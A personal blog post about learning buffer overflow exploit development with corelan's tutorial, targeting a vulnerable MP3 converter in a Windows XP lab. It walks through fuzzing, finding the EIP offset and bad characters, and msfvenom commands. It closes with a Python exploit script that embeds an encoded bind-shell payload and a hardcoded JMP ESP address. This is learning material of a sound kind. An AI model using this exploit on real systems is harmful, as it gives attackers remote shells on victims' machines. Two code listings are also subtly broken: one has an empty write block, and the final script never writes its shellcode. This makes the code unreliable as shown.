Learning more about buffer overflow exploits


After passing OSCP, I took a bit of a break from studying, but I’ve decided to get back on it and start learning more about exploit development, since that was part of the OSCP course that I found very interesting.

I had heard about the series of tutorials on the corelan blog so I started to work through the first one and in doing so I hit a few problems and learned a few interesting things that I thought might be useful to others.

After mentioning to a colleague that I was learning about exploit development, they mentioned that fuzzysecurity has some good exploit development tutorials too, so I will check those out in parallel.

Anyway, let’s get on with my experiences while following corelan’s “Exploit writing tutorial part 1“:

Setting up the environment

The first thing I had to do was get a Windows XP VM up and running, install the vulnerable version of “Easy RM to MP3 Converter” and create an m3u file that would cause the application to crash. I’ll explain how I got a copy of Windows XP running in a VM for free (I could probably get this through my MSDN subscription, but that’s not necessary) and how I downloaded the app and created the m3u exploit file (hint: I didn’t use the perl script in corelan’s article).

Windows XP VM

Microsoft offers a Windows XP VM as a free download. It is intended to be run in Windows 7, providing a way of running programs that run on XP, but won’t on Windows 7, for example 16 bit executables. This “feature” is called “XP Mode”.

The download is an executable. If we inspect the exe file (using something like 7zip, don’t execute it!), we can extract the file “sources/xpm”, then rename it to xpm.cab and extract the “VirtualXPVHD” file from it. Rename this file to “VirtualXP.VHD” and then create a new VM in virtual box and use this file as the hard disk. It may be worth taking a snapshot before you start the VM because it will not be licensed and will stop working after 30 days. If you take a snapshot, you can revert it and get 30 days use out of it again.

Easy RM to MP3 Converter

I downloaded this from here on exploit-db. The link comes from this exploit page.

Creating m3u that causes crash

I use both python and perl at work, but I have more experience in python and I prefer it, so I installed python (I installed version 2.7.15 because it’s the latest v2.x and it supports Windows XP, where the latest v3.x doesn’t support Windows XP) and ported the code from perl to python. This is what I used to create the first m3u file from the article:

#!/usr/bin/env python

with open("crash.m3u", "w") as file:
    file.write("A" * 10000)

print "m3u File Created successfully"

It doesn’t cause the crash, but if the number of “A”s is changed to 30000 then it will.


I decided to use Immunity debugger because I think it has a nicer interface and can do more than Windbg. I also added mona.py (also from corelan) and used some of it’s features to make the process easier. The manual for mona.py which includes instructions to download and install it can be found here.

Finding the offset to overwrite EIP

This section details finding the exact place in the m3u file that we need to put the bytes that we want to end up in EIP. It starts off by splitting the 30000 bytes into two chunks; the first one is 25000 and the second one is 5000. Then after determining that the bytes from the second (smaller) chunk are placed in EIP, a more accurate method is used to find the exact bytes. I tried to skip this step, which gave me incorrect results and it took me quite some time to figure out why. I’ll explain what tripped me up:

The article explains how to use a tool from the Metasploit framework to generate a pattern where the exact offset of a string of bytes can be identified. Incidentally, this syntax for this tool has changed, and it has moved in Kali (the successor to Backtrack, which it looks like is being used in this article). In Kali, it can be found at /usr/share/metasploit-framework/tools/exploit/pattern_create.rb but there is a symlink to it at /usr/bin/msf-pattern_create, so it can be run by just typing “msf-pattern_create”. I decided that since I have mona.py installed, I would just use that tool since it meant I didn’t need to start my Kali VM. I used mona.py to create a 30000 byte pattern using the command “!mona pc 30000” in Immunity debugger. A pattern is output to the log, but it’s truncated, so it can be copied from “C:\Program Files\Immunity Inc\Immunity Debugger\pattern.txt”.

I stuck this pattern in my python file and created a new m3u like this:

#!/usr/bin/env python

PATTERN = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...Ml1Ml2Ml3Ml4Ml5Ml6Ml7Ml8Ml9"

with open("crash.m3u", "w") as file:

print "m3u File Created successfully"

and when I opened that file with Immunity attached, I saw the bytes “48386B48” in EIP. I used mona.py to locate those bytes (using the command “!mona po 48386B48”) in the pattern and it said they were at offset 5784. When I changed the bytes at that position in the m3u file, it didn’t make a difference to EIP shown in Immunity when I reloaded the file. I eventually discovered that the pattern created by Metasploit and mona is only 20,280 (26*26*10*3) bytes long and after that it starts again. The byte pattern in EIP was indeed the same as at offset 5784, but it was also at offset 26064 (5784 + 20280) and those are the bytes that made it into EIP! I should have just followed the steps, but I did end up learning the limitations of that pattern generator and offset locator.

\xCC AKA INT3 aka “break”

The article skips over what this mysterious \xCC byte does. A quick google search led me to an article on wikipedia that explained that it’s special single byte interrupt instruction for use by debuggers, so when the program hits this instruction, Immunity will pause execution so we can inspect the state of the registers and memory. Very useful!

Finding a JMP ESP instruction

The article covers how to find a JMP ESP instruction using Windbg, but not Immunity. I turned to mona.py again and used the command:

!mona f -type instr -s "jmp esp" -o -cp nonull

…which showed me some location in the log, but also wrote them to “C:\Program Files\Immunity Inc\Immunity Debugger\find.txt”

Creating my own Shellcode using Metasploit

I tried creating my own shellcode to spawn calc using “msfvenom -p windows/exec -f python”, but it didn’t work. Looking in the debugger, I could see that my Shellcode was being truncated. This was because my shellcode contained at least one null byte (\x00), but that wasn’t the only byte that caused the shellcode to become truncated, as I found out when I removed the null bytes. The article didn’t make it clear, but I would have to specify which bytes to exclude from the shellcode. Of course, I could use the the alpha_upper encoder which is shown later in the article, but I wanted to have a small shellcode. To find the bad bytes, I wanted to create a sequence of bytes 00 to FF and put them in the m3u file. I created the sequence of bytes again using mona.py. The command was “!mona ba” and mona would output to the log, but also to “C:\Program Files\Immunity Inc\Immunity Debugger\bytearray.txt” and I could stick that in my python script so that it would be written in the m3u file. Every time I saw a byte cause truncation or get swapped with another byte, I would add that to the list of bad chars for msfvenom to avoid. I ended up actually only finding two bad bytes; \x00 \x0A. To generate my own shellcode that spawned calc, I ran this command:

msfvenom -p windows/exec -f python -b "\x00\x0a" CMD=calc

Completed python script to create bind shell exploit

#!/usr/bin/env python

# msfvenom -p windows/shell_bind_tcp -e x86/alpha_upper -f python EXITFUNC=seh
buf = ""
buf += "\x89\xe3\xda\xdc\xd9\x73\xf4\x5e\x56\x59\x49\x49\x49"
buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"
buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"
buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"
buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"
buf += "\x4a\x49\x4b\x4c\x4d\x38\x4b\x32\x55\x50\x35\x50\x35"
buf += "\x50\x55\x30\x4b\x39\x4b\x55\x36\x51\x39\x50\x52\x44"
buf += "\x4c\x4b\x36\x30\x46\x50\x4c\x4b\x46\x32\x44\x4c\x4c"
buf += "\x4b\x50\x52\x32\x34\x4c\x4b\x33\x42\x57\x58\x34\x4f"
buf += "\x4e\x57\x50\x4a\x56\x46\x50\x31\x4b\x4f\x4e\x4c\x57"
buf += "\x4c\x35\x31\x33\x4c\x35\x52\x56\x4c\x47\x50\x4f\x31"
buf += "\x58\x4f\x54\x4d\x55\x51\x58\x47\x5a\x42\x4c\x32\x31"
buf += "\x42\x51\x47\x4c\x4b\x36\x32\x52\x30\x4c\x4b\x31\x5a"
buf += "\x57\x4c\x4c\x4b\x50\x4c\x52\x31\x53\x48\x4a\x43\x37"
buf += "\x38\x53\x31\x48\x51\x46\x31\x4c\x4b\x36\x39\x31\x30"
buf += "\x33\x31\x58\x53\x4c\x4b\x57\x39\x52\x38\x4b\x53\x37"
buf += "\x4a\x47\x39\x4c\x4b\x47\x44\x4c\x4b\x33\x31\x49\x46"
buf += "\x56\x51\x4b\x4f\x4e\x4c\x39\x51\x38\x4f\x54\x4d\x43"
buf += "\x31\x48\x47\x47\x48\x4d\x30\x52\x55\x4b\x46\x33\x33"
buf += "\x43\x4d\x5a\x58\x57\x4b\x53\x4d\x47\x54\x34\x35\x5a"
buf += "\x44\x50\x58\x4c\x4b\x30\x58\x47\x54\x33\x31\x59\x43"
buf += "\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x46\x38\x35"
buf += "\x4c\x33\x31\x39\x43\x4c\x4b\x44\x44\x4c\x4b\x35\x51"
buf += "\x58\x50\x4c\x49\x30\x44\x47\x54\x36\x44\x31\x4b\x31"
buf += "\x4b\x45\x31\x30\x59\x31\x4a\x46\x31\x4b\x4f\x4b\x50"
buf += "\x51\x4f\x31\x4f\x51\x4a\x4c\x4b\x45\x42\x5a\x4b\x4c"
buf += "\x4d\x51\x4d\x42\x48\x47\x43\x36\x52\x43\x30\x55\x50"
buf += "\x32\x48\x42\x57\x32\x53\x57\x42\x31\x4f\x31\x44\x42"
buf += "\x48\x50\x4c\x54\x37\x37\x56\x34\x47\x4b\x4f\x4e\x35"
buf += "\x48\x38\x4a\x30\x43\x31\x45\x50\x45\x50\x56\x49\x49"
buf += "\x54\x56\x34\x30\x50\x33\x58\x57\x59\x4d\x50\x32\x4b"
buf += "\x35\x50\x4b\x4f\x59\x45\x42\x4a\x53\x38\x51\x49\x36"
buf += "\x30\x5a\x42\x4b\x4d\x57\x30\x46\x30\x57\x30\x30\x50"
buf += "\x32\x48\x5a\x4a\x44\x4f\x59\x4f\x4b\x50\x4b\x4f\x48"
buf += "\x55\x5a\x37\x33\x58\x44\x42\x43\x30\x54\x51\x31\x4c"
buf += "\x4d\x59\x4d\x36\x52\x4a\x44\x50\x51\x46\x46\x37\x32"
buf += "\x48\x39\x52\x49\x4b\x46\x57\x55\x37\x4b\x4f\x39\x45"
buf += "\x30\x57\x45\x38\x58\x37\x5a\x49\x37\x48\x4b\x4f\x4b"
buf += "\x4f\x38\x55\x46\x37\x43\x58\x34\x34\x5a\x4c\x57\x4b"
buf += "\x4d\x31\x4b\x4f\x4e\x35\x31\x47\x5a\x37\x45\x38\x32"
buf += "\x55\x42\x4e\x50\x4d\x43\x51\x4b\x4f\x48\x55\x33\x58"
buf += "\x42\x43\x32\x4d\x32\x44\x43\x30\x4b\x39\x4a\x43\x51"
buf += "\x47\x31\x47\x51\x47\x56\x51\x4c\x36\x42\x4a\x34\x52"
buf += "\x51\x49\x30\x56\x4d\x32\x4b\x4d\x45\x36\x49\x57\x57"
buf += "\x34\x57\x54\x47\x4c\x33\x31\x53\x31\x4c\x4d\x47\x34"
buf += "\x37\x54\x44\x50\x48\x46\x45\x50\x51\x54\x31\x44\x30"
buf += "\x50\x56\x36\x50\x56\x51\x46\x51\x56\x51\x46\x30\x4e"
buf += "\x50\x56\x56\x36\x51\x43\x56\x36\x53\x58\x54\x39\x38"
buf += "\x4c\x57\x4f\x4c\x46\x4b\x4f\x48\x55\x4b\x39\x4d\x30"
buf += "\x50\x4e\x50\x56\x37\x36\x4b\x4f\x46\x50\x52\x48\x43"
buf += "\x38\x4c\x47\x45\x4d\x45\x30\x4b\x4f\x49\x45\x4f\x4b"
buf += "\x4b\x4e\x44\x4e\x47\x42\x4b\x5a\x53\x58\x4e\x46\x4a"
buf += "\x35\x4f\x4d\x4d\x4d\x4b\x4f\x38\x55\x57\x4c\x54\x46"
buf += "\x53\x4c\x45\x5a\x4b\x30\x4b\x4b\x4b\x50\x42\x55\x54"
buf += "\x45\x4f\x4b\x31\x57\x54\x53\x52\x52\x52\x4f\x42\x4a"
buf += "\x35\x50\x50\x53\x4b\x4f\x4e\x35\x41\x41"

with open(r"c:\documents and settings\administrator\desktop\mal.m3u", "w") as file:
    file.write(26064 * "A")
    file.write("\x2a\xb2\xd4\x01") # JMP ESP
    file.write("\x90" * 25) # NOP * 25

print "Done"